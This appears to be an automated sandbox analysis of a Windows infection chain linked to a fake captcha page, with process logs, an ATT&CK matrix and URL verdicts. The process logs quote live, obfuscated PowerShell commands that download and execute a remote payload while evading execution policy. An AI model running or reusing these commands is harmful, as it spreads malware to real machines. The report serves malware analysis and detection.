Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c start powershell -w 1 -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiaataeeacgbnahuabqblag4adabmagkacwb0acaajwatahcajwasaccaaabpagqazablag4ajwasaccalqblahaajwasaccaygb5ahaayqbzahmajwasaccalqbuag8acaanacwajwataemabwbtag0ayqbuagqajwasaccazwbkahiaiaatacoaowbtaguadaatafyayqbyagkayqbiagwazqagaemaaqbvacaakaauacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapahwatqblag0aygblahiafabxaggazqbyagualqbpagiaagblagmadab7acqaxwauae4ayqbtagualqbsagkaawblaccajwaqahqakgbvag0akgbkaccajwb9ackalgboageabqblackalgbjag4adgbvagsazqaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4auabzae8aygbqaguaywb0ac4atqblahqaaabvagqacwb8afcaaablahiazqatae8aygbqaguaywb0ahsajabfac4atgbhag0azqatagwaaqbraguajwanacoabwbtacoazqanaccafqapac4atgbhag0azqapac4asqbuahyabwbraguakaanaccatgaqac0atwaqaccajwasacqavabsafuarqasacqavabsafuarqapacwawwbnageabgbhagcazqbtaguabgb0ac4aqqb1ahqabwbtageadabpag8abgauaemabwbtag0ayqbuagqavab5ahaazqbzaf0aoga6aemabqbkagwazqb0ackatgblahqalgbxaguaygbdagwaaqblag4adaapadsauwblahqalqbjahqazqbtacaavgbhahiaaqbhagiababladoalwbsafcaiaanaccaaab0ahqacabzadoalwavaheadqauageaeaavafqatwbsag8azgauagiaaqbuaccajwa7afsauwbjahiaaqbwahqaqgbsag8aywbraf0aoga6aemacgblageadablacgakabhaekaiabwageacgbpageaygbsaguaogbdagkavqapac4avgbhagwadqblac4akaaoacgakabhaekaiabwageacgbpageaygbsaguaogbdagkavqapac4avgbhagwadqblahwatqblag0aygblahiakqb8afcaaablahiazqatae8aygbqaguaywb0ahsajabfac4atgbhag0azqatagwaaqbraguajwanacoabgbsacoazwanaccafqapac4atgbhag0azqapac4asqbuahyabwbraguakaaoafyayqbyagkayqbiagwazqagagwavwapac4avgbhagwadqblackakqauaekabgb2ag8aawblafiazqb0ahuacgbuaeeacwbjahmakaapacca	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -w 1 -enc uwb0ageacgb0ac0auabyag8aywblahmacwagaciaqwa6afwavwbpag4azabvahcacwbcafmaeqbzafcabwb3adyanabcafcaaqbuagqabwb3ahmauabvahcazqbyafmaaablagwababcahyamqauadaaxabwag8adwblahiacwboaguababsac4azqb4aguaigagac0avwbpag4azabvahcauwb0ahkabablacaasabpagqazablag4aiaataeeacgbnahuabqblag4adabmagkacwb0acaajwatahcajwasaccaaabpagqazablag4ajwasaccalqblahaajwasaccaygb5ahaayqbzahmajwasaccalqbuag8acaanacwajwataemabwbtag0ayqbuagqajwasaccazwbkahiaiaatacoaowbtaguadaatafyayqbyagkayqbiagwazqagaemaaqbvacaakaauacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapahwatqblag0aygblahiafabxaggazqbyagualqbpagiaagblagmadab7acqaxwauae4ayqbtagualqbsagkaawblaccajwaqahqakgbvag0akgbkaccajwb9ackalgboageabqblackalgbjag4adgbvagsazqaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4akaaoacqarqb4aguaywb1ahqaaqbvag4aqwbvag4adablahgadaauacgakaakaeuaeablagmadqb0agkabwbuaemabwbuahqazqb4ahqafabnaguabqbiaguacgapafsangbdac4atgbhag0azqapac4auabzae8aygbqaguaywb0ac4atqblahqaaabvagqacwb8afcaaablahiazqatae8aygbqaguaywb0ahsajabfac4atgbhag0azqatagwaaqbraguajwanacoabwbtacoazqanaccafqapac4atgbhag0azqapac4asqbuahyabwbraguakaanaccatgaqac0atwaqaccajwasacqavabsafuarqasacqavabsafuarqapacwawwbnageabgbhagcazqbtaguabgb0ac4aqqb1ahqabwbtageadabpag8abgauaemabwbtag0ayqbuagqavab5ahaazqbzaf0aoga6aemabqbkagwazqb0ackatgblahqalgbxaguaygbdagwaaqblag4adaapadsauwblahqalqbjahqazqbtacaavgbhahiaaqbhagiababladoalwbsafcaiaanaccaaab0ahqacabzadoalwavaheadqauageaeaavafqatwbsag8azgauagiaaqbuaccajwa7afsauwbjahiaaqbwahqaqgbsag8aywbraf0aoga6aemacgblageadablacgakabhaekaiabwageacgbpageaygbsaguaogbdagkavqapac4avgbhagwadqblac4akaaoacgakabhaekaiabwageacgbpageaygbsaguaogbdagkavqapac4avgbhagwadqblahwatqblag0aygblahiakqb8afcaaablahiazqatae8aygbqaguaywb0ahsajabfac4atgbhag0azqatagwaaqbraguajwanacoabgbsacoazwanaccafqapac4atgbhag0azqapac4asqbuahyabwbraguakaaoafyayqbyagkayqbiagwazqagagwavwapac4avgbhagwadqblackakqauaekabgb2ag8aawblafiazqb0ahuacgbuaeeacwbjahmakaapacca	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command gdr -;set-variable ciu (.$executioncontext.(($executioncontext\|member)[6].name).(($executioncontext.(($executioncontext\|member)[6].name)\|member\|where-object{$_.name-like'tomd'}).name).invoke($executioncontext.(($executioncontext\|member)[6].name).(($executioncontext.(($executioncontext\|member)[6].name).psobject.methods\|where-object{$_.name-like'ome'}).name).invoke('n-o',$true,$true),[management.automation.commandtypes]::cmdlet)net.webclient);set-item variable:/lw 'https://qu.ax/torof.bin';[scriptblock]::create((gi variable:ciu).value.((((gi variable:ciu).value\|member)\|where-object{$_.name-like'nlg'}).name).invoke((variable lw).value)).invokereturnasis()	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WSMan.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WSMan.Runtime\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Runtime.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Browser Extensions	11 Process Injection	1 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 PowerShell	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	12 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://cipassoitalia.it	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
http://aviathemes.com	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.26.09-1222x630.png	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/xmlrpc.php	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttons_fullwidth/buttons_fullwidth.css?ver=6.0.9	0%	Avira URL Cloud	safe
http://blog.christoffer.me/six-things-i-learnt-about-ios-safaris-rubber-band-scrolling/	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/css/custom.css?ver=4.5	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlis	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/table/table.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/gallery_horizontal/gallery_horizontal.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/?lang=en	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2019/06/sfondo_cerchi.png	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Dettaglio-della-sala-interna-1500x630.jpg	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Vini-italiani-eccellenti-1500x630.jpg	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_share/social_share.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_accordion/slideshow_accordion.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-wpml/wpml-mod.css?ver=4.5	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/progressbar/progressbar.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/comment	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconbox/iconbox.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.cipassoitalia.it%2F	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-snippet-sticky-header.js?ver=4.5	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_fullsize/slideshow_fullsize.css?ver=6.0.9	0%	Avira URL Cloud	safe
http://artsy.github.io/blog/2012/10/18/so-you-want-to-do-a-css3-3d-transform/	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow_layerslider/slideshow_layerslider.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slidesh	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/vineria-e-bistrot-al-centro-di-roma-2/	0%	Avira URL Cloud	safe
https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982	100%	Avira URL Cloud	malware
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.05.png	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/plugins/cookie-law-info/legacy/public/css/cookie-law-info-pu	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongri	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2019/06/2.png	0%	Avira URL Cloud	safe
https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ecA	100%	Avira URL Cloud	malware
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/social_	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/countdown/countdown.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/magazin	0%	Avira URL Cloud	safe
https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ecQ	100%	Avira URL Cloud	malware
https://solve.bogx.org/Vai	100%	Avira URL Cloud	malware
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/numbers	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-includes/wlwmanifest.xml	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/#website	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/masonry	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/menu/menu.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/video/video.css?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/js/aviapopup/magnific-popup.css?ver=4.5	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/promobo	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.25.53-1222x630.png	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfol	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/content	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://solve.bogx.org/awjsx.captcha?u=097be2dd-7dc7-422c-9982-4234373a85ec3	100%	Avira URL Cloud	malware
https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/portfolio/portfolio.js?ver=6.0.9	0%	Avira URL Cloud	safe
https://www.cipassoitalia.it/wp-content/uploads/2024/08/Servizio-di-sala-845x684.jpg	0%	Avira URL Cloud	safe
